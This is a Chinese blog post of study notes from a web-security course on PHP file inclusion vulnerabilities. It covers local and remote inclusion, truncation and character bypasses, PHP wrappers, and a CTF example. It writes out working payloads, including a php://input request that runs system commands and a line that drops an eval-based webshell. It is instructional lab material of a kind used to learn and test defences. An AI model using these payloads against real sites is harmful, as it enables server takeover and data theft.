文件操作之文件包含

小迪

https://www.bilibili.com/video/BV1JZ4y1c7ro?p=30
php伪协议:https://www.cnblogs.com/endust/p/11804767.html

在这里插入图片描述
文件包含各脚本代码
<!==#include file=”1.asp”–>

<!==#include file=”top.aspx”–>

<c:import url=”http://thief.one/1.jsp”>

<% include file=”head.jsp”%>
<jsp:include page=”head.jsp”/>
<?php include(‘test.php’)?> 

文件包含原理
以php脚本为例
当前目录下有一个1.txt的文件,当执行脚本传参x=1.txt,通过include,文件内容就会以php格式运行。
在这里插入图片描述
单纯访问的话就不会执行
在这里插入图片描述
本地包含无限制
跨一级目录
在这里插入图片描述
本地包含有限制

<?php
$file=$_GET['x'];
include($file.".html"); 
?>

打开1.txt.html失败
在这里插入图片描述
绕过限制 %00截断
条件:magic_quotes_gpc=off php版本小于5.3.4
在这里插入图片描述
在url中%00表示ascl的0,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

绕过限制-长度截断
条件:windows 点号(.)需要大于256,linux需要大于4096
不知道为啥没成功
在这里插入图片描述
远程包含无限制
需要开启 allow_url_include
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;
在这里插入图片描述
在这里插入图片描述
这里php7.3.4修改了没有效果,把版本降到5.6.9可以了
外网服务器写一个文件
在这里插入图片描述
远程访问
在这里插入图片描述
远程包含访问
在这里插入图片描述
文件改成一句木马远程连接,但是我菜刀一直连不上,估计太老了,用蚁🗡
在这里插入图片描述
在这里插入图片描述
远程包含有限制
在这里插入图片描述
绕过限制%20空格
在这里插入图片描述

绕过限制加?
在这里插入图片描述
绕过限制%23#号
在这里插入图片描述
协议玩法
在这里插入图片描述

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php伪协议用法
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
php://filter读取文件内容
base64加密的原因防止数据乱码

http://127.0.0.1/baohan.php?x=php://filter/read=convert.base64-encode/resource=1.txt

在这里插入图片描述
在这里插入图片描述
php://input 以PHP格式执行文件

http://127.0.0.1/baohan.php?x=php://input

post提交

<?php system(ipconfig);?>

在这里插入图片描述
post提交写一句话后门
fputs() 函数是 fwrite() 函数的别名。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

file协议读取文件内容(所有脚本都适用)
条件:需要绝对路径

http://127.0.0.1/baohan.php?x=file://F://phpstudy_pro//WWW//1.txt

可以把txt内容当php执行
在这里插入图片描述
data协议来执行指定的PHP脚本代码

http://127.0.0.1/baohan.php?x=data://text/plain,<?php%20echo '123';?> 

总结
在php中能够造成文件包含的函数有include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

实例

1.南邮杯http://4.chinalover.sinaapp.com/web7/index.php
在这里插入图片描述

这里文件可以传参并且可以执行说明有文件包含漏洞
读取当前目录的index.php
在这里插入图片描述
base64解密
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值